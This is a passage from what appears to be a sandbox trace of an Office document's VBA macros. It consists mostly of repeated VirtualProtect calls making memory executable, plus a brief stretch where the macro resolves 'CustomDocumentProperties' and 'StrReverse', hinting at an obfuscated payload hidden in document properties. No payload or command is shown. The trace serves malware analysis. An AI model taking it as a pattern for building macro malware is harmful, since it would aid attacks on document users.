[0099.409] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.409] GetCurrentProcess () returned 0xffffffff [0099.409] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.409] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.410] GetCurrentProcess () returned 0xffffffff [0099.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.410] GetCurrentProcess () returned 0xffffffff [0099.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.410] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.410] GetCurrentProcess () returned 0xffffffff [0099.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.410] GetCurrentProcess () returned 0xffffffff [0099.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.410] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.411] GetCurrentProcess () returned 0xffffffff [0099.411] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.411] GetCurrentProcess () returned 0xffffffff [0099.411] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.411] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.412] GetCurrentProcess () returned 0xffffffff [0099.412] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.412] GetCurrentProcess () returned 0xffffffff [0099.412] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.412] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.413] GetCurrentProcess () returned 0xffffffff [0099.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.413] GetCurrentProcess () returned 0xffffffff [0099.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.413] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.414] GetCurrentProcess () returned 0xffffffff [0099.414] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.414] GetCurrentProcess () returned 0xffffffff [0099.414] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.414] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.439] GetCurrentProcess () returned 0xffffffff [0099.439] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.439] GetCurrentProcess () returned 0xffffffff [0099.439] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.439] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.440] GetCurrentProcess () returned 0xffffffff [0099.440] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.440] GetCurrentProcess () returned 0xffffffff [0099.440] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.440] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.441] GetCurrentProcess () returned 0xffffffff [0099.441] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.441] GetCurrentProcess () returned 0xffffffff [0099.441] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.441] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.441] GetCurrentProcess () returned 0xffffffff [0099.441] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.441] GetCurrentProcess () returned 0xffffffff [0099.441] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.441] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.442] GetCurrentProcess () returned 0xffffffff [0099.442] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.442] GetCurrentProcess () returned 0xffffffff [0099.442] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.442] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.443] GetCurrentProcess () returned 0xffffffff [0099.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.443] GetCurrentProcess () returned 0xffffffff [0099.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.443] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.443] GetCurrentProcess () returned 0xffffffff [0099.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.443] GetCurrentProcess () returned 0xffffffff [0099.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.444] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.444] GetCurrentProcess () returned 0xffffffff [0099.444] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.444] GetCurrentProcess () returned 0xffffffff [0099.444] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.444] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.445] GetCurrentProcess () returned 0xffffffff [0099.445] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.445] GetCurrentProcess () returned 0xffffffff [0099.445] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.445] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.445] GetCurrentProcess () returned 0xffffffff [0099.445] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.446] GetCurrentProcess () returned 0xffffffff [0099.446] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.446] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.446] GetCurrentProcess () returned 0xffffffff [0099.446] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.446] GetCurrentProcess () returned 0xffffffff [0099.446] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.446] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.447] GetCurrentProcess () returned 0xffffffff [0099.447] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.447] GetCurrentProcess () returned 0xffffffff [0099.447] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.448] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.448] GetCurrentProcess () returned 0xffffffff [0099.448] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.448] GetCurrentProcess () returned 0xffffffff [0099.448] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.448] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.449] GetCurrentProcess () returned 0xffffffff [0099.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.449] GetCurrentProcess () returned 0xffffffff [0099.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.449] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.449] GetCurrentProcess () returned 0xffffffff [0099.449] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.449] GetCurrentProcess () returned 0xffffffff [0099.450] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.450] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.450] GetCurrentProcess () returned 0xffffffff [0099.450] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.450] GetCurrentProcess () returned 0xffffffff [0099.450] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.450] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.451] GetCurrentProcess () returned 0xffffffff [0099.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.451] GetCurrentProcess () returned 0xffffffff [0099.451] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.451] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.451] GetCurrentProcess () returned 0xffffffff [0099.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.452] GetCurrentProcess () returned 0xffffffff [0099.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.452] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.452] GetCurrentProcess () returned 0xffffffff [0099.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.452] GetCurrentProcess () returned 0xffffffff [0099.452] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.452] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.453] GetCurrentProcess () returned 0xffffffff [0099.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.453] GetCurrentProcess () returned 0xffffffff [0099.453] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.453] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.454] GetCurrentProcess () returned 0xffffffff [0099.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.454] GetCurrentProcess () returned 0xffffffff [0099.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.454] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.454] GetCurrentProcess () returned 0xffffffff [0099.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.454] GetCurrentProcess () returned 0xffffffff [0099.454] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.454] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.455] GetCurrentProcess () returned 0xffffffff [0099.455] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.456] GetAsyncKeyState (vKey=3) returned 0 [0099.456] CRetailMalloc_Alloc () returned 0xcb48f30 [0099.456] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2cee, cbMultiByte=15, lpWideCharStr=0x1976a4, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0099.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a078e, cbMultiByte=15, lpWideCharStr=0x197704, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0099.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a078e, cbMultiByte=15, lpWideCharStr=0x197704, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0099.466] CRetailMalloc_Alloc () returned 0xc94f6e8 [0099.466] CRetailMalloc_Realloc () returned 0xcb09ec0 [0099.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a078e, cbMultiByte=15, lpWideCharStr=0x1976c4, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0099.466] CRetailMalloc_Realloc () returned 0xc8b3400 [0099.467] CRetailMalloc_Realloc () returned 0xcb23e10 [0099.468] memcpy (in: _Dst=0xcf94f4c, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.468] CRetailMalloc_Alloc () returned 0xc94f3b8 [0099.468] CRetailMalloc_Realloc () returned 0xcb18470 [0099.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a080a, cbMultiByte=25, lpWideCharStr=0x1976dc, cchWideChar=26 | out: lpWideCharStr="CustomDocumentProperties") returned 25 [0099.469] CRetailMalloc_Realloc () returned 0xcbeedd0 [0099.469] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2d1a, cbMultiByte=11, lpWideCharStr=0x1976a4, cchWideChar=12 | out: lpWideCharStr="StrReverse") returned 11 [0099.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a07e2, cbMultiByte=11, lpWideCharStr=0x197704, cchWideChar=12 | out: lpWideCharStr="StrReverse") returned 11 [0099.473] CRetailMalloc_Realloc () returned 0xcbed9a8 [0099.473] CRetailMalloc_Realloc () returned 0xb396808 [0099.473] CRetailMalloc_Realloc () returned 0xf5e59c0 [0099.473] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.473] CRetailMalloc_Realloc () returned 0xcb21db8 [0099.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0099.474] CRetailMalloc_Realloc () returned 0xcb49740 [0099.474] memcpy (in: _Dst=0xcb48f90, _Src=0x197924, _Size=0x18 | out: _Dst=0xcb48f90) returned 0xcb48f90 [0099.474] CRetailMalloc_Realloc () returned 0xcb48f30 [0099.474] CRetailMalloc_Free () returned 0x1 [0099.474] GetCurrentProcess () returned 0xffffffff [0099.474] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.474] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.475] GetCurrentProcess () returned 0xffffffff [0099.475] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.475] GetCurrentProcess () returned 0xffffffff [0099.475] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.475] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.475] GetCurrentProcess () returned 0xffffffff [0099.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.476] GetCurrentProcess () returned 0xffffffff [0099.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.476] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.476] GetCurrentProcess () returned 0xffffffff [0099.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.476] GetCurrentProcess () returned 0xffffffff [0099.476] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.476] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.477] GetCurrentProcess () returned 0xffffffff [0099.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.477] GetCurrentProcess () returned 0xffffffff [0099.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.477] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.477] GetCurrentProcess () returned 0xffffffff [0099.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.477] GetCurrentProcess () returned 0xffffffff [0099.477] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.477] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.478] GetCurrentProcess () returned 0xffffffff [0099.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.478] GetCurrentProcess () returned 0xffffffff [0099.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.478] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.478] GetCurrentProcess () returned 0xffffffff [0099.478] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.479] GetCurrentProcess () returned 0xffffffff [0099.479] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.479] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.479] GetCurrentProcess () returned 0xffffffff [0099.479] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.479] GetCurrentProcess () returned 0xffffffff [0099.479] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.479] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.479] GetCurrentProcess () returned 0xffffffff [0099.479] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.480] GetCurrentProcess () returned 0xffffffff [0099.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.480] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.480] GetCurrentProcess () returned 0xffffffff [0099.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.480] GetCurrentProcess () returned 0xffffffff [0099.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.480] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.480] GetCurrentProcess () returned 0xffffffff [0099.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.480] GetCurrentProcess () returned 0xffffffff [0099.480] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.481] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.481] GetCurrentProcess () returned 0xffffffff [0099.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.481] GetCurrentProcess () returned 0xffffffff [0099.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.481] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.481] GetCurrentProcess () returned 0xffffffff [0099.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.481] GetCurrentProcess () returned 0xffffffff [0099.481] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.481] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.482] GetCurrentProcess () returned 0xffffffff [0099.482] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.482] GetCurrentProcess () returned 0xffffffff [0099.482] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.482] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.482] GetCurrentProcess () returned 0xffffffff [0099.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.483] GetCurrentProcess () returned 0xffffffff [0099.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.483] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.483] GetCurrentProcess () returned 0xffffffff [0099.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.483] GetCurrentProcess () returned 0xffffffff [0099.483] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.483] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.484] GetCurrentProcess () returned 0xffffffff [0099.484] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.484] GetCurrentProcess () returned 0xffffffff [0099.484] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.484] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.485] GetCurrentProcess () returned 0xffffffff [0099.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.485] GetCurrentProcess () returned 0xffffffff [0099.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.485] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.485] GetCurrentProcess () returned 0xffffffff [0099.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.485] GetCurrentProcess () returned 0xffffffff [0099.485] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.485] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.486] GetCurrentProcess () returned 0xffffffff [0099.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.486] GetCurrentProcess () returned 0xffffffff [0099.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.486] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.486] GetCurrentProcess () returned 